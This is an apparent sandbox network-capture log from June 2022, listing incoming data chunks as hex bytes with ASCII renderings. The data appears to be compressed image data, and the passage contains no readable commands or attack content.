2022-06-08 07:56:16 UTC 2839 IN Data Raw: ee 5f 93 fe f8 ae 36 eb 4b 9e ce f2 5b 58 21 f3 65 ff 00 57 e5 55 bd 0f 45 49 ae a5 86 6d 23 fb 47 fe 98 f9 be 5d 
7a 12 8b 68 f2 79 d4 9a 7d 6e 76 fa 5f 89 bc 59 7f 68 66 b2 87 49 16 df f2 d3 ee 56 85 ad 8c 76 71 cc fa a4 d6 9e 54 9f eb 
21 d0 e5 7f 3e 4f fb e3 e5 af 2e 5f 05 ea b3 99 8d b5 9f d9 62 f3 3f e5 ac b5 73 44 d0 75 2d 3e 6f f4 98 35 68 7f eb ce b1 
f6 1c b7 6b 4f 91 bf b4 72 8a e6 77 b6 c7 a1 7f c2 45 e1 3b 39 36 41 a0 dd 7d ba 3f f5 77 73 6a 2f 5d 47 86 7e 28 7d a2 
19 ac ac b4 1f 26 fb fe 7e ec e6 fd fc 9f f0 26 af 1e fe d8 d2 ad e6 99 fc eb b9 ae 63 93 fe 5b 6c ad 2f f8 4c ae ef f1 fd 93 0c 
20 5b fe f6 4b 5f 2b c9 7f fe ca a6 54 a1 35 6d 5f a8 a1 5b 11 49 f3 29 25 e8 91 ed 5e 22 ba fb 66 93 0e f8 7f d3 a3 8f cd fd
f6 a0 9b f7 d7 9b 4f 06 a3 a5 
Data Ascii: _6K[X!eWUEIm#G]zhy}nv_YhfIVvqT!>O._b?sDu->o5hkOrwE;96A}?wsj/]G~(}&~&c[l/L [K_+T5m_[I)%^"fO

2022-06-08 07:56:16 UTC 2903 IN Data Raw: bc 87 ed 53 79 36 df f2 d6 58 a2 fe 0a f5 bf b2 d8 78 6e d6 1b df 0b ea 53 43 15 ef fa c8 66 97 f7 1f f8 f5 79 77 
85 6e ae fc 33 73 f6 bd 3f cd fb 57 97 e5 ff 00 aa df 5d bf fc 2c db ed 52 2f b1 6b b6 70 cd fb bf 2a 29 be c9 b1 e3 ae 7a b0 
9c a4 9f 2d d0 a9 4a 84 61 36 b4 97 4d 2d b7 9d ff 00 42 7d 6b 58 be d6 1b ce 9f 4e fe d0 92 3f f9 6d a4 ec ff 00 d0 59 2a 
0b 59 2d 3c ed f0 6b da 7f 9b 27 fc b1 d5 e2 78 1e 3f fd 96 a4 b5 d0 6c 6c 3e c6 f0 fd af 51 ba 93 fe 58 c3 75 e5 d7 5d 26 
87 69 79 f3 dd 79 36 91 79 7e 54 70 cd e5 d6 32 94 20 92 1c 30 b2 ae f9 a4 97 37 ae bf 79 e7 9a 8c f7 d1 cd fe 8b ac 7f 
ac ff 00 9f 3d 43 7a 54 5a 77 88 b5 6f 0b df 09 ee ac fe d9 e5 ff 00 ab fe d1 8b ff 00 67 ae d2 3d 1e 4b 3b bf 23 fb 1e 1d 7
2 c7 cc fd dc d0 ec df 5d 5c 1e 15 
Data Ascii: Sy6XxnSCfywn3s?W],R/kp*)z-Ja6M-B}kXN?mY*Y-<k'x?ll>QXu]&iyy6y~Tp2 07y=CzTZwog=K;#r]\

2022-06-08 07:56:16 UTC 2959 IN Data Raw: b3 67 84 fc 51 a8 59 ff 00 6b e8 3a 84 d6 d6 5f ea e1 bc bb 77 f3 37 7c cd e6 51 1c 2d 37 f1 54 ba f4 ff 00 82 
4c b1 8e 0b dd a4 d3 f3 7f f0 0c 1b af da 17 c1 9a a4 53 24 1a c7 9d 73 1e f9 6d bc 9f f4 54 fb ff 00 de 6a ed 67 d3 7c 3d 
aa 4d 67 ad f8 97 c4 96 9f d8 72 47 e6 c7 69 79 32 7e f2 65 fb df 37 f7 69 9a 6f ec c3 f0 ae f3 50 9b 7f 82 6d 3c af f8 1d 77 
36 3f 06 7c 1f 24 d0 a5 d6 9b a7 cd 63 f6 64 8a 38 a6 b4 f3 fe 45 fb 9f 7e af d8 d2 8b bd 39 af 9a ff 00 82 4b c5 54 a8 ad 
52 9b f9 3f f8 06 76 8f f1 53 e1 cf 87 e6 86 d7 fb 4b 49 b4 be fb 32 7d 8b f7 b1 ef 81 3e e7 97 1d 12 78 fb 5d d4 21 bc d6 
ac ac e2 87 ec 7f f2 0e 86 68 b7 f9 89 b3 77 99 ff 00 03 ed 57 6f be 1b 78 6a de 1b c9 ec bc 37 a7 43 2d c7 fc bd cd 68 
90 7c eb ff 00 2d 2b 8d d6 3c 63 77 79 
Data Ascii: gQYk:_w7|Q-7TLS$smTjg|=MgrGiy2~e7ioPm<w6?|$cd8E~9KTR?vSKI2}>x]!hwWoxj7C-h|-+<cwy

2022-06-08 07:56:16 UTC 3046 IN Data Raw: d2 eb cb ff 00 b6 f1 ff 00 df 1f 77 fe 05 59 1e 0f 92 ef c3 f0 ec b1 f1 4f d8 ff 00 e5 a7 d9 26 b4 93 65 65 c9 09 2e 
75 1f bd 6e 74 a6 ef ec a5 51 e9 6b 34 d6 9f 79 57 52 f1 65 ff 00 89 24 d9 75 37 9d 2f 97 fe bb cd fb ff 00 f7 d5 72 ff 00 f0 
8e cf 70 77 d9 45 fb cf fa 6b 5e 93 e2 cb eb 4d 63 ef e8 fa 7c d7 df f3 db 48 df 0b ff 00 c0 d2 4a e7 ad f4 b4 1a 54 d2 79 
da b4 57 df f3 e9 34 5f 27 fd f5 5b c2 69 24 b6 3c da 94 2b 46 52 70 77 b7 f5 a9 c6 cd 6b ad 5b 45 b1 e6 96 28 bf eb ad 6f 
c7 a5 e2 4f 39 f5 8f b5 99 23 f2 ff 00 7d ff 00 2c ff 00 de dc df 2d 3a ea 3f ec c8 bc fb dd 36 ec 45 ff 00 3d 66 8a aa c3 aa 
da 59 ea 1f 6a b5 8b ca 97 fe 9b 44 8f ff 00 a1 56 ff 00 12 bc 75 30 e7 a9 7b 55 83 4b d3 73 a5 87 4d 9b 4f d1 26 c4 b6 bf 
66 ff 00 96 9e 4f ef 27 ff 
Data Ascii: wYO&ee.untQk4yWRe$u7/rpwEk^Mc|HJTyW4_'[i$<+FRpwk[E(oO9#},-:?6E=fYjDVu0{UKsMO&fO'

2022-06-08 07:56:16 UTC 3102 IN Data Raw: da af 69 09 69 73 3e 4a 91 5e 47 23 1f 87 35 6b 8f f4 af 3a 1f 36 49 13 cc 87 cd de f1 ff 00 f6 42 b2 2d 7c 07 05
bc df bf bc 9a ee fa e2 e7 f7 97 77 9f 7e 3f 33 fb b5 e9 32 49 04 90 ca e9 34 56 96 d7 1b 3c b8 a1 8b fb df de ac 5b 5b 59 
2d e1 d9 e4 fd 92 da df fe 99 7f 77 ee b5 73 ca aa 8c ac 8d d5 37 28 b6 ca b3 d8 c1 6f a7 d9 a6 9d 0c 37 7f bc f2 a4 bb bc 
fb ff 00 f0 1a da 85 3c cb a8 6d 60 96 2b 5f 32 4f 37 f7 bb df e4 ff 00 e2 aa ac 96 33 fd 96 ce f5 3f 7d 6d 1f fc f6 9b e4 93 
e4 ab b3 5b dd dc 5e 43 6d fb 98 bf e5 a4 91 7f bb fd e6 aa 77 49 3b ee 42 8c 55 d7 61 f1 db c7 1e a1 77 a7 da e9 be 4f 
d8 f6 4b f6 b9 bf d4 c8 8d fd d6 ad 18 21 7b bd 42 17 8e 6f dd 49 fb cf de c4 fb f6 56 d5 dc 70 69 f6 70 dd 7f ad b7 ff 00 57 
ff 00 7d 55 2d 46 08 f5 09 be d2 
Data Ascii: iis>J^G#5k:6IB-|w~?32I4V<[[Y-ws7(o7<m`+_2O73?}m[^CmwI;BUawOK!{BoIVpipW}U-F

2022-06-08 07:56:16 UTC 3157 IN Data Raw: b8 9f ed 57 c9 1e 3a fd af 2d 3c 41 e3 c9 b4 8d 27 52 ba d2 7c 2d 6f 6d 3c 72 6a 16 71 23 dd 5d cd ff 00 2c f6 
6e fb a9 be b1 bc e7 3e 48 7b d2 fd 0e 9a 54 13 8f 34 b4 8f 9f 7e c7 d8 32 49 69 1f 93 e7 7f cb 4f f5 7f c1 54 a3 f1 75 a7 
da e6 b5 b5 9b ce f2 e3 ff 00 5b e6 fc fb eb e3 8f f8 4b b5 db cf 13 4d fd 83 a0 dd e9 1a 66 8b 1f 95 a9 7f 64 4a 97 53 dc 
3d c7 f7 37 67 f7 9f fa 0d 75 de 15 fd a4 3c 27 ff 00 08 f7 f6 8d ee 9b ae 69 1e 67 ee a4 87 ca df 3c 89 0b fc db bf 8b e6 fe 
2a d5 e1 ea 52 57 9b d3 cb 52 f9 69 d4 7c b0 d5 fa a5 f9 bd 4f a8 24 d6 24 b8 b5 bc 81 35 2b 49 a5 93 f7 7e 54 3f f2 ce aa
da d8 fd 9e 29 ae bf 7b f6 99 36 49 1c be 6f fe ca bf 2d 79 ce ab e2 ad 37 47 9a ce f6 09 b4 ff 00 0e db 79 69 2d cc 37 9f 2
4 11 f9 c9 bf 7c 9f c5 5d 2c 7a c4 
Data Ascii: W:-<A'R|-om<rjq#],n>H{T4~2IiOTu[KMfdJS=7gu<'ig<*RWRi|O$$5+I~T?){6Io-y7Gyi-7$|],z

2022-06-08 07:56:16 UTC 3229 IN Data Raw: cb 1c 30 ff 00 df 15 a9 e0 ed 73 fe 10 3b 4d 63 4b 48 7e d7 fd a3 6d e5 79 3e 6c 68 9f 37 f1 37 fb b5 9d 1c 10 
47 0e f7 9b f7 be 67 fc b1 a5 ba f2 2d e1 fb 6b ff 00 c7 cf 9a 9e 5d a4 df f2 cd 2b d6 e6 4d 25 d8 e5 b3 d7 9b ae 8f d0 eb 
b4 3f 15 58 78 4f 49 d6 2c af 6f 26 bb d3 24 b6 f3 2e 74 ff 00 b9 75 27 fd 33 8d 93 e6 f9 bf f4 1a f2 29 2f a0 b7 d5 a1 ff 00 
a7 79 3f 77 0c 3f 3a 6c 6f ef 56 d5 f4 73 de 43 79 74 93 43 69 6d 71 b2 29 3f e7 bf cb 5c f4 1e 64 9e 74 0f 37 9d 14 9f bd 
fb 27 c8 9f f0 2a ed 8e b0 39 7f e5 ea 9f 54 77 9e 11 f8 8d 3e 87 77 35 ad d7 93 a8 e9 9a ac 7f e9 30 ea 3f ea 36 7f 0b 7f 
c0 7f 86 be b4 f0 1f 8a ad 34 f8 74 1d 52 f6 6f b5 fd 9e d9 2d a4 86 19 5f 64 88 db df cc ff 00 81 7c 9f 35 7c 89 a1 f9 1a a4 
36 76 56 b7 9e 77 fc f3 f3 a5 f9 
Data Ascii: 0s;McKH~my>lh77Gg-k]+M%?XxOI,o&$.tu'3)/y?w?:loVsCytCimq)?\dt7'*9Tw>w50?64tRo-_d|5|6vVw

2022-06-08 07:56:16 UTC 3277 IN Data Raw: dd c7 a7 c3 7b 04 d1 43 6d 1d b7 95 7b 0f 9b fc 7f ed 49 59 de 19 d7 23 bc bc fe c5 ba d6 3f b5 ae a4 fd e7 fc 
4b be e4 7b 7f e0 55 c5 2b 59 31 da 52 52 51 dd 5c cb f0 cd f5 ff 00 93 0e 89 aa 5e 5a 7f c2 4b 1f fa 4d ed a5 9d df fa c8 
57 fb bf ec 7f 0d 76 7e 1a 3a 6c 9f d9 1e 7c 5f 64 d5 a4 89 e4 b7 b4 96 5d 87 67 fb b5 1e 87 e1 98 f4 7d 42 6b d8 ec e6 
8a 3f 2d ff 00 d7 7f bf bb 6a ff 00 7b 73 54 d7 d6 9f da 1e 55 c9 96 1b 4f b3 ec 92 da 5f ee 7f 7f 75 79 d5 63 38 a4 ce 9e 
75 3d 95 bb fa 9a 57 b6 09 f6 a9 a6 9e 2f 36 ca 48 d2 59 25 f3 5f e4 68 ea b9 5d 27 57 d3 ff 00 d2 7f 75 e6 49 ff 00 2d bf 
8f 6f f7 2a a7 87 75 b6 d1 b5 28 6c 1e 51 2d 94 9f ba 8e 29 bf e5 a6 d4 dc db 7e 95 a9 ae 46 93 59 4d 35 b4 3e 54 9f f2 ef 
75 37 f0 3e ff 00 fd 06 b8 23 27 67 38 3d 
Data Ascii: {Cm{IY#?K{U+Y1RRQ\^ZKMWv~:l|_d]g}Bk?-j{sTUO_uyc8u=W/6HY%_h]'WuI-o*u(lQ-)~FYM5>Tu7>#'g8=

2022-06-08 07:56:16 UTC 3382 IN Data Raw: 6d ae c9 cd 45 d9 9e 6d 18 3a 90 52 5a bf 24 79 66 93 a7 5d ea 9a 84 36 b6 50 f9 b7 32 7f ab 8a bb 9d 1f c0 
3e 24 b8 bc fb 2c fa 6f ef 7f eb aa 57 5d e1 9d 46 fe de 6d fa 87 86 fc ab e8 f7 f9 97 7f 64 44 f3 2a 1f 13 78 c3 43 d4 21 f3 
1c 4d a7 6a f1 ff 00 ac fb 5c 3e 7f 97 ff 00 8f 56 1e da 6d da 11 fd 4e 97 83 a1 28 73 55 97 e6 9f e2 8c 8b af 83 d7 d7 07 
c9 32 c3 15 ef fc f1 96 ba 4d 0f c0 17 fa 1d af 93 3e a5 0c d1 79 7f f2 e7 2b ff 00 ec d5 89 ff 00 0b 53 49 b8 96 14 7f ed 6d 
46 48 e3 f2 a3 9b e4 81 3f ef da d4 37 5e 38 b4 f3 ac e7 7d 36 19 ae 63 df fb 99 b7 a7 97 59 b5 5a 7f 12 34 51 c1 e1 fe 19 
7e 3f f0 06 34 29 e1 bd 6c a6 a7 a4 7f 6b 45 27 fc b5 9a 69 29 fa fd d4 92 c5 34 17 b3 79 56 d1 ff 00 aa b4 87 e4 a8 34 ef 
1d dd de 7f a2 d9 69 b6 96 7f bc f3 
Data Ascii: mEm:RZ$yf]6P2>$,oW]FmdD*xC!Mj\>VmN(sU2M>y+SImFH?7^8}6cYZ4Q~?4)lkE'i)4yV4i

Timestamp
kBytes
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Direction Data
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2022-06-08 07:56:16 UTC 3454 IN Data Raw: ca fa 0a a5 39 73 29 2d 8e 3a d6 fa 4f 18 6a 1e 4c f0 da 5a 5b 49 72 97 3f 6b 9b 7a 7c 8b ff 00 d8 d5 ad 73 c2 
b6 96 70 ea 53 e9 1a 97 da e3 92 4f 36 39 6e f7 c3 05 ba 7f 72 35 5c ef ae da 79 74 ed 53 5d 95 f5 ab 49 2d 74 8d 1e 3f 
2e 3d 0e 28 91 fc fb 86 ff 00 96 af b7 d1 7e ea fb d6 4e a9 26 95 aa 69 f7 7e 4c 32 cd e6 49 e5 5b f9 32 ec f2 1d 5f ee bf 
fd 34 2d f7 a8 92 a5 28 da 0d 6b df 72 63 56 b5 f5 8b 5e 9b 7f c1 38 bd 3b 4e 7d 3e ef 64 33 4b a7 5c ea 3f eb 22 9b 64 
d3 c9 fc 5b 53 fd 9a d4 82 0d 76 e2 d2 6b 57 d4 a6 87 ef fe fb ca fd fc 7f ec d6 dc 7a 1d dd bc 5f 6d 4f f5 51 ff 00 ab 9b fe 
5b c7 ff 00 c5 56 6f 8d e6 d0 a3 86 6b 53 77 2c 3a 26 9d fe 93 a9 7d ae 5f 93 e6 fe 1f f6 da a7 e0 5c ae 5a 9b 7f 11 ae 44 
78 e5 d6 87 61 e2 8f 88 f6 6f e1 eb 39 a6 
Data Ascii: 9s)-:OjLZ[Ir?kz|spSO69nr5\ytS]I-t?.=(~N&i~L2I[2_4-(krcV^8;N}>d3K\?"d[SvkWz_mOQ[VokSw,:&}_\ZDxao9

2022-06-08 07:56:16 UTC 3470 IN Data Raw: 6f d3 4d 7f 42 1f 22 cf 4f bc b3 b9 9a 2f b5 db 47 1b fd 9f 50 97 e7 f2 fc cf 97 cb ff 00 6e b1 7c 77 a6 c7 27 db 
3c 8b c8 6d 3e d1 b2 4b 28 61 b4 df f3 af cd f3 d5 9d 47 52 83 fe 13 78 61 bd d4 66 f3 6c ed d2 e6 3b 4b 48 be 4f 9b f8 df 
fd da 66 9a f1 dd ea bb ef 6c ff 00 b4 2e 64 91 e2 92 d2 59 7e 4b 7f f6 bf dd 35 1c ca da 9b da 51 f7 e2 dd cd 4f 0c e8 7f 
d8 fa 2c da 74 1a 77 93 1d e5 b2 79 77 5e 6b ff 00 c0 a3 ff 00 66 b4 e4 b1 82 ce 2d 36 d6 d7 cd d2 a2 b7 d9 e5 f9 3f 3a 
3a 7f cf 37 92 9f e1 94 b5 b7 fb 5c 36 33 4b 2d c4 72 3f 99 fb df 93 e6 ac 9d 4a f2 7b 8b 5b cb 3d 42 ee 1f b3 7f ac fd cf df 
8d 3f dd aa 97 bc b4 57 39 f9 5f 3b 6c d6 d4 35 2b b8 fc 9d 3a 0d 0a 5b bb 6b 7f f5 9e 54 a9 fb 8f f6 9b 7f de 5a c5 f0 ff 00 
89 b5 39 2d 74 eb 5d 52 6b 48 b5 
Data Ascii: oMB"O/GPn|w'<m>K(aGRxafl;KHOfl.dY~K5QO,twyw^kf-6?::7\63K-r?J{[=B?W9_;l5+:[kTZ9-t]RkH

2022-06-08 07:56:16 UTC 3478 IN Data Raw: 12 5b ff 00 a4 db 43 0f fc b3 4f f6 ff 00 bf 4c b4 8e 1d 52 d6 19 b4 eb bf 36 e7 fe 5a 79 31 6c 86 ef fb ad f2 ff 00 
05 41 70 cf 2f 84 e5 83 51 d5 fe d9 ae 5c 47 e5 c9 e5 43 b2 1f de 7f 79 3f ba 53 fd aa b1 63 a6 ff 00 61 d9 f9 ef 79 34 36 
d6 ff 00 f2 da 1f f6 7e 5f 2f 6d 39 53 e6 77 96 c8 c6 32 b6 db b3 cf fe 2d 5a d8 5c 4d 0e b5 fd b1 fd 91 73 1c 9f 66 b9 86 68 
bf 71 76 ff 00 c0 8f 25 77 fe 1d f1 c5 dd c4 70 43 a7 5a 79 a3 e4 f2 c4 d2 ff 00 06 cd d5 c3 f8 eb c2 3a 2f 8c 87 d9 2f 25 97 
56 b8 fb 4c 12 c9 a7 4b 77 f3 bf fd f3 5d 44 7e 5f 86 f5 0f b2 dd 4d 69 17 97 1f 99 1f 93 13 ff 00 15 61 3b 46 0a 51 76 77 
d8 e8 8c 54 a7 c9 28 df 4e bf a1 d5 6a 52 59 eb 77 9f d9 17 71 7d 93 f7 7f 68 f3 62 ff 00 96 7b 7f da a7 f8 62 0f 0f 68 73 
79 1a 50 86 1b 9d 43 7c 97 
Data Ascii: [COLR6Zy1lAp/Q\GCy?Scay46~_/m9Sw2-Z\Msfhqv%wpCZy://%VLKw]D~_Mia;FQvwT(NjRYwq}hb{bhsyPC|

2022-06-08 07:56:16 UTC 3488 IN Data Raw: df 24 3f 33 fd ef f7 d7 f8 6a 96 8f a2 79 7e 4b c9 77 e5 5c 7c ff 00 68 f2 7e e2 7f 77 ef 55 af ec 79 23 d4 35 7b 
af dd 4d 2c 91 f9 9f ea b6 6f 7f ee fc bf de ae 9a 6e 50 8f b8 f7 b6 87 2d 78 53 a9 26 e4 b6 4c f2 c8 3e 06 c7 a1 fc 53 9b 
c4 30 5e 5a 7d 87 fe 5d a5 87 fd 7c 8f 27 ce db 9b ee ff 00 07 de ac bf 0c d8 ea 5f da 1a c6 89 3f 95 ff 00 1f 3f 6e 8f fb 47 
e7 f3 1d 9f 77 98 c9 fe f3 d7 b2 69 b0 c9 6f e4 bf ee bf d5 a5 cc 96 93 7f cb 3f fe ce b1 75 6b 58 ef 3c 4d 36 a9 75 67 17 d9
a3 92 09 63 fe 37 7f e0 f2 ff 00 dc 4a d6 a5 49 4d 36 de ad 91 87 a7 ec 64 a9 ad 62 93 df bd ee 8d 09 b4 7b bb 7f 0f 6a 5f 
d9 7f b9 ba d5 63 f3 7e d7 79 fe a3 ce fe ee ca 48 6f 23 b1 92 f2 fa 0d 4b fd 36 ce dd 2d af 0c b6 ae 5e 06 ff 00 ae 6b fd ea
d5 f8 9b 74 20 96 d2 d6 d6 
Data Ascii: $?3jy~Kw\|h~wUy#5{M,onP-xS&L>S0^Z}]|'_??nGwio?ukX<M6ugc7JIM6db{j_c~yHo#K6-^kt 

2022-06-08 07:56:16 UTC 3588 IN Data Raw: e1 b4 4f dd a4 6f e6 c5 2b ed ff 00 6a bb 5f 1a 5d 58 6a 9e 1e d3 7c 3d 1c d0 e9 da 9d ed b7 db bf 73 16 f7 b8 
49 10 b7 ef 76 ff 00 03 bd 5f b6 92 77 84 ad f9 0a 58 65 38 3f 6d 1b b5 b3 eb 67 af e1 7f 2d 83 c3 36 b3 f8 5f fb 4b cb bc 
87 5c b1 d2 a3 7b 1b 6b bf 37 fd 2b fe 7a 79 57 1f f3 d1 3f 83 8a d0 f0 3f c6 2f 10 de 7d 8e 1d 44 43 69 1d c4 90 c5 24 30 
c5 fb 9b 4e bb 26 ff 00 81 56 2e ab a6 ea 76 7a b7 83 f7 ea 51 5a 7f 68 d9 7e f3 c9 ff 00 51 e7 47 b3 67 9b b7 fe 59 fc d5 
c3 d8 c1 1c 7f 16 3f b2 34 49 a1 87 43 f0 ec 73 ff 00 6b 5a 4d bf ec b7 0e ce 3f 79 1f f7 b6 ef fb 95 3c ea 50 93 8e 8c d6 1f 
1a 84 f5 5b 6d d5 1f 51 5f 78 9a 09 23 d5 ec b5 1d 5e 28 64 d4 64 4b 9b 6d 3e 68 b6 4d 22 7d df fc 7f fb 94 78 76 4b 0d 
62 eb 47 d2 35 1b 3f ec 3b 9b 3b 68 ef 
Data Ascii: Oo+j_]Xj|=sIv_wXe8?mg-6_K\{k7+zyW??/}DCi$0N&V.vzQZh~QGgY?4ICskZM?y<P[mQ_x#^(ddKm>hM"}xvK
bG5?;;h

2022-06-08 07:56:16 UTC 3636 IN Data Raw: a8 b9 9f 9e df 71 e5 4f 37 93 6d 53 f7 7f 3f bc ed 75 5f 1d eb be 2c ff 00 90 a6 b1 77 a8 db 49 be 59 21 f3 7f f1 
ea e6 a7 fd e5 df fd 32 93 fd 67 ee ab 3f 4d be bb 8e 69 ad 67 f2 61 f2 ff 00 7b e7 7f 06 ca b5 1c 1a b5 e5 dc cf 6b 37 ee 
bf e5 a7 ee be 4f 9b f8 6b dc a7 87 54 a1 ee 2b 1e 5d 5c 43 ad 3f 7e 57 19 6b a5 47 a8 5d ef 82 1f dd 79 6f fe 76 d7 63 a5 
f8 1f 52 b7 d3 e1 d5 1e ce ee 68 a3 fd d7 ee 62 fd c7 fc 09 eb da 3e 06 7e cf ba 6f 8a 34 f9 9f 54 d4 ae ee f5 3b db 67 b9 
b6 d3 e1 fe e6 cf f5 9b bf e0 3f 76 ad 78 e3 c2 b3 fc 1b f0 f4 29 ad cd 36 b9 a6 6a be 7d b4 7e 1e 86 57 82 d6 47 d9 f2 f9 
b2 2f f1 ff 00 76 b0 78 94 dd a9 eb ad 8a 95 16 af 1a 9e ee 9d 76 bf 63 c7 ad 7c 2b e3 0b 8f 16 59 e8 3a 46 8f a8 4d 2c 96 
df 69 92 1d 22 ed 12 0f b3 37 cf fb 
Data Ascii: qO7mS?u_,wIY!2g?Miga{k7OkT+]\C?~WkG]yovcRhb>~o4T;g?vx)6j}~WG/vxvc|+Y:FM,i"7

2022-06-08 07:56:16 UTC 3642 IN Data Raw: 45 fe a1 f6 6e f9 bf d8 af 37 5b ea 9e 9a 6a 7a 33 92 9b 49 35 67 ae 82 43 a0 49 a6 5d 43 75 6b 0c 5f bb d9 e5 
c7 e5 7c 9f 2b fd cf fb e7 e6 ad ad 49 23 fd d5 ab da 4b f6 69 3f 77 e6 c5 f2 55 4d 4a df 44 bc d2 21 ba d5 75 0b ab 59 77 
a7 97 fb dd 93 7f 77 76 cf f8 17 35 6f ce b3 87 4d 97 6c b2 ff 00 a3 c9 fe b7 fd af f7 68 55 b9 5d ae b5 b7 f4 cc ee e5 66 
d3 bd ed b7 eb e4 4c 23 83 43 92 5b a4 9a 4f 2f cc f3 3f 7b 2e f7 ab ba a4 d3 ea 1e 20 b4 bb b5 8a 13 e4 47 e5 dc 4b 2c 
5f be f9 be f7 fc 06 b1 61 d2 75 2b c9 a5 b9 bd fd f5 c7 c9 14 72 fd cf f6 a9 35 2f 10 41 a7 c1 04 e9 67 a8 5e 1b cb cf b3 
5e f9 31 79 df 64 ff 00 69 ff 00 b8 b5 da aa ce dc bf 67 fc 8c 67 4e 2e 51 77 bb db ef 27 bc b2 b7 b8 9a d6 37 bb 96 2b cf 
9e 3b 7f e0 4f f6 37 7d 2a 9d af 86 60 b8 
Data Ascii: En7[jz3I5gCI]Cuk_|+I#Ki?wUMJD!uYwwv5oMlhU]fL#C[O/?{. GK,_au+r5/Ag^^1ydiggN.Qw'7+;O7}*`

2022-06-08 07:56:16 UTC 3730 IN Data Raw: 62 f3 bc a4 f3 ad df 7a 6c 96 35 fe 35 fb f5 e0 bf 10 fc 61 ac cb f1 73 52 1a 44 30 cc 3c 33 6d 6b 2c b0 cd 12 25 
d5 be e7 da d1 26 df bf 14 8b b1 eb df bc 39 70 2e 34 59 ac 75 79 bc db 78 e3 f3 24 f2 7e fa 79 9f 37 cd 45 49 4a 8c b9 
64 ae 9f dc 54 60 ab 52 55 a0 f5 57 f5 27 d3 74 ab 5b 3d 47 63 ea 52 ff 00 69 79 71 c5 73 fb ad 90 c9 e5 ff 00 75 7f f4 2a 
e8 61 f1 1a 5e 59 da 4f a7 69 d0 cb 75 2c 9e 64 9f f5 c5 5f 6b 49 ff 00 c4 d7 01 75 ae 68 be 03 f0 f6 9c 9a bd e4 3e 6d e4 
bf 66 b2 bb f3 7f 7d 71 e6 3f f0 d5 af 32 7d 3e ee ce 0f 3a 18 a5 b8 fd ec 7e 4f dc 9e 15 f9 be f5 11 a9 28 be 58 bb 68 2a 
94 54 d2 95 4d 75 3d 4e fb c4 17 7f be d9 fe ae 3f de 7d 96 6f ee 7f 15 78 ad d7 80 e7 f0 fe 93 f6 ef 0f 59 cd 77 e1 ad 46 
3f dd e8 73 7e e6 ea de 69 1f 7e e4 dd 
Data Ascii: bzl55asRD0<3mk,%&9p.4Yuyx$~y7EIJdT`RUW't[=GcRiyqsu*a^YOiu,d_kIuh>mf}q?2}>:~O(Xh*TMu=N?}o
xYwF?s~i~

2022-06-08 07:56:16 UTC 3817 IN Data Raw: 34 b5 76 eb 43 83 4f 9a 18 20 ff 00 59 e6 ff 00 a9 af a5 bf 67 3b 18 fc 49 e2 1d 63 c1 50 7d 93 57 d2 2c a4 fb 
4d ec d3 5a 22 25 fb ec f9 22 fb 44 9f 36 df 32 a1 b1 f8 7b a2 fc 3b d3 ef 34 1f 17 d9 ff 00 64 6a 7a f4 6f e6 4d a7 5d a5 eb 
e9 16 cb 3f fa b4 ff 00 6f 77 f1 3d 73 ac 64 62 ee e2 f7 b1 b3 c2 d4 6e ca da ab af f2 db 73 e5 b9 f4 7b 4b 3b bd f0 c3 f6 bb 
98 f7 f9 9e 75 68 fd 95 ed ed 21 48 26 fd ec 9f bd 93 c9 fb fb db fb b5 eb 5e 2e fd 9e b4 9b 7f 86 5a 97 8a f4 4d 62 ef ca fb 
6f 95 f6 49 be 7f 2d 1b ee 6f 6f ef fd f6 6a d1 f0 3f ec 77 ae f8 a2 ce 1d 7b 51 f1 57 f6 1d b7 da 52 da 39 af 34 f9 11 fe 6f f5 
4d b7 fb 9f ed d7 7b c4 43 93 9e 32 d0 e0 4d 29 38 54 83 ba f2 3a 48 fe 13 ea da 7f 86 7c 2b ff 00 08 6c 33 6a 3e 33 d6 
a3 fb 75 ec 3e 6f fc 7a 42 
Data Ascii: 4vCO Yg;IcP}W,MZ"%"D62{;4djzoM]?ow=sdbns{K;uh!H&^.ZMboI-ooj?w{QWR94oM{C2M)8T:H|+l3j>3u>ozB

2022-06-08 07:56:16 UTC 3849 IN Data Raw: 43 0d cc 92 7e f6 1a e2 af b5 6d 6a 3d 47 67 9d 69 ff 00 3c bf bf 5d 47 c2 ff 00 84 fa f7 8b 3c 59 b1 3c e8 62 93 
fe 3e 75 1f 9f c8 8d 2b 9a b5 47 18 b6 f4 b1 d3 45 45 c9 24 db b9 76 3d 56 4b cd 72 cf 4e 83 f7 d2 c9 27 95 ff 00 d9 57 a5 
78 67 43 d5 be 19 f8 f2 6d 07 fb 07 ed 7e 21 d4 7f d1 a3 9a 6f f8 f5 8f cc ff 00 96 ab 27 dd ae e3 c1 5f b2 84 f7 1a 7d e2 
6a 9a c6 9f 69 ae 79 5f bb fd ec 9b 23 ff 00 69 f8 ad eb 5f 85 7e 30 b7 d2 7c 37 a7 78 ff 00 5e b4 d4 7c 2b 6f 7a 9e 5c 36 
7f 27 da 37 3f df 7d d5 f3 f5 6a c6 6d ea 9a f5 d9 fe a7 b3 4a f1 94 54 53 e6 7d 1a d2 49 f6 7d 1f 63 cb fe 2d 47 f0 ce e2 
d7 c3 96 3e 0a d4 b5 6f ed 79 37 c9 ad 4d ff 00 1f 50 ff 00 c0 24 fe 3c 57 23 e2 0f 07 5f d9 da 68 fa bf fa eb 19 23 fd d7 fd 
3b ed 7d aa ae be f5 f5 4f 89 3e 
Data Ascii: C~mj=Ggi<]G<Y<b>u+GEE$v=VKrN'WxgCm~!o'_}jiy_#i_~0|7x^|+oz\6'7?}jmJTS}I}c-G>oy7MP$<W#_h#;}O>

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:16 UTC 3905 IN Data Raw: 69 7e 32 fe da d5 f4 dd 27 51 b5 b2 df 15 ec 3a 75 da 3f ef 99 3f d9 fe 1f ee a8 ae b8 50 95 44 e5 16 61 2a d4 
61 51 42 4a de ba 59 f6 da df 89 ef f7 de 31 83 c4 1e 2c fe c4 9e f2 1f 36 df f7 bf f5 f7 ff 00 ec d4 d6 36 30 78 3f 4a d4 ae 
a0 f1 24 df e9 b7 1f ea a1 97 67 da f7 7f 17 fb 3b 2b 8a f0 5d f7 fc 25 9a 7d 9f d8 b4 7f 26 fa 48 de c7 ed 7a 8c 5e 7a 6c df 
bf f7 7f dd ff 00 be ab 6a c7 f6 61 82 f3 43 d4 a7 f1 26 a5 2d a6 af 24 a9 2c 7e 4c 48 fe 5a 7f 75 3f e7 92 7d 2a 7d 8c 35 
